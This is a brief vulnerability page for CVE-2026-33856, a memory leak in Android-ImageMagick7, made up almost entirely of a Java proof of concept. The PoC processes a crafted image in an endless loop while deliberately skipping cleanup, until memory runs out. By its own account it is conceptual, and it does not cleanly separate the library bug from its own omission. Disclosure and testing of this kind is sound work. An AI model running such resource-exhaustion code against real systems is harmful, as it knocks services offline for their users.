CVE-2026-33856 Android-ImageMagick7内存泄漏漏洞

/* * PoC for Memory Leak in Android-ImageMagick7 (CVE-2026-33856) * This code demonstrates the concept of triggering a memory leak * by repeatedly processing images without proper resource cleanup. */ import magick.ImageInfo; import magick.MagickImage; import magick.MagickException; public class CVE202633856_PoC { public static void main(String[] args) { try { // Simulate processing a crafted image that triggers the leak while (true) { // Load a potentially malicious image ImageInfo info = new ImageInfo("crafted_image.png"); MagickImage image = new MagickImage(info); // Perform operations that cause memory allocation // In the vulnerable version (< 7.1.2-11), memory is not released here image.scaleImage(800, 600); image.blurImage(1.0, 1.0); // Intentionally avoiding explicit destroyImage() to simulate the bug path // In a real scenario, the library should handle cleanup automatically System.out.println("Image processed, memory leaking..."); } } catch (MagickException e) { e.printStackTrace(); } catch (OutOfMemoryError e) { System.out.println("System ran out of memory due to leak."); } } }